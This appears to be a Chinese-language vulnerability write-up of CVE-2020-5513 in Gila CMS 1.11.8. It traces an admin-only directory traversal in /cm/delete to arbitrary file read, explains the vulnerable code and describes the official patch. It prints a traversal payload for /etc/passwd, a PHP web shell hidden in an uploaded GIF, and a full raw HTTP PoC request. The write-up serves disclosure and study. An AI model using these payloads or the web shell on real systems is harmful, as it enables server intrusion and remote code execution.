漏洞概况

  • Gila CMS 1.11.8 allows /cm/delete?t=../ Directory Traversal.
  • 这个漏洞是因为文件包含导致,可以导致远程代码执行(Local File Inclusion to Remote Code Execution)
  • 需要管理员权限

环境搭建

  • Gila CMS 1.11.8
  • php 7.2.25
  • Ubuntu18.04 + Mysql 5.7 + Apache2

漏洞利用

登陆后台管理员账号,然后打开http://your-ip/gila1118/admin/content/post 新建一篇post。

1

然后删除这篇文章

1-1

然后用burpsuite抓包修改参数t为../../../../../../etc/passwd

2

可以看到我们可以读取到/etc/passwd文件。

然后我们看一下怎么利用LFI实现RCE。访问http://your-ip/gila1118/admin/media 上传一张图片,然后我们把图片内容修改为下面的内容:

1
2
3
4
<?php
echo "It works!!!\n";
echo system($_GET['c']);
?>

3

上传后的图片保存在assets/目录下

4

然后用同样的方式在删除post的时候将参数t修改为../../assets/test.gif,我们可以看到图片中恶意代码被执行了。

5

然后我们加上参数c,列出了当前目录下的所有文件

6PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /gila1118/cm/delete?t=../../../../../../../ HTTP/1.1
Host: 192.168.247.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1283573017589669486400713746
Content-Length: 295
Origin: http://192.168.247.130
Connection: close
Referer: http://192.168.247.130/gila1118/admin/content/post
Cookie: GSESSIONID=1xcps02tot9sr22ozi9j2shmo76m7dzi82rkkcj7nha33usgud; language=en-gb; currency=USD; media_path=assets; media_tab=uploads; PHPSESSID=cgt32s84a11b7kjns6c6vdlbt1; XDEBUG_SESSION=PHPSTORM

-----------------------------1283573017589669486400713746
Content-Disposition: form-data; name="id"

5
-----------------------------1283573017589669486400713746
Content-Disposition: form-data; name="formToken"

1ueasv&h12^#wt
-----------------------------1283573017589669486400713746--

漏洞分析

当用户删除一篇post的时候,会调用src/core/controllers/cm.php中的deleteAction()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* Delete registry of content type
*/
function deleteAction ()
{
header('Content-Type: application/json');
$gtable = new gTable(router::get("t",1), $this->permissions);
if($gtable->can('delete')) {
$gtable->deleteRow($_POST['id']);
$response = '{"id":"'.$_POST['id'].'"}';
} else {
$response = '"error":"User cannot delete"}';
}
echo $response;
}

其中$gtable = new gTable(router::get("t",1), $this->permissions);会先调用router::get()获取get请求中的t参数的值。

11

然后用取回来的t参数值传入gTable的构造函数__construct(),在这里可以看到引起文件包含的原因,对$content‘(也就是t参数)进行的检查不太恰当,可以看到在第10行会检查$content在不在gila::content定义的白名单列表之中,返回的结果当然是False,所以接着进入第12行的else if逻辑,只要文件存在就将$content赋值给$path,所以造成了后面的任意文件包含。

src/core/class/gTable.php

10

gila::content定义在src/core/load.php中:

8

官方补丁

官方对这个补丁做了两处修改,第一处是在cm类的__construct()函数中,先给$this->table赋值为get请求中传过来的t参数,然后检查gila::$content[$this->table]是否存在,如果不存在直接返回http_response_code(404)

patch-1

第二处是将·router::get("t",1)改为$this->table

patch-2

tablecm类的一个私有变量。

14

参考

  1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5513
  2. https://infosecdb.wordpress.com/2020/01/05/gilacms-1-11-8-cm-deletet-lfi-local-file-inclusion-and-rce/
  3. https://github.com/GilaCMS/gila/commit/afbbaae9634b14abda398404e31faa74dcceaaf8